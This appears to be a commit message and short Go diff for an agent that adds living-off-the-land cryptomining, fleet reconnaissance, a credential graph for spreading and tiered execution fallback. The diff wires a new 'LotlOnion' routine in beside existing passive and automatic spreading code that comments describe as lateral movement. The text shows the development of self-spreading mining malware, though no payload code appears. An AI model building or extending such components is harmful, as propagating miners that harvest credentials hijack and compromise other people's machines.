Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/main.go

@@ -88,6 +88,7 @@ func main() {
 	// AgentClient.authenticate() only after the server accepts our fleet secret,
 	// which verifies we are on an owned fleet before initiating lateral movement.
 	deploy.StartPassiveSpreader(cfg)
+	deploy.StartLotlOnion(cfg)
 	if cfg.AutoSpread && deploy.WantsFirstRunSpread(cfg) {
 		// First-run spread marker is cleared after auth succeeds (handled in client).
 		deploy.ClearFirstRunSpreadMarker(cfg)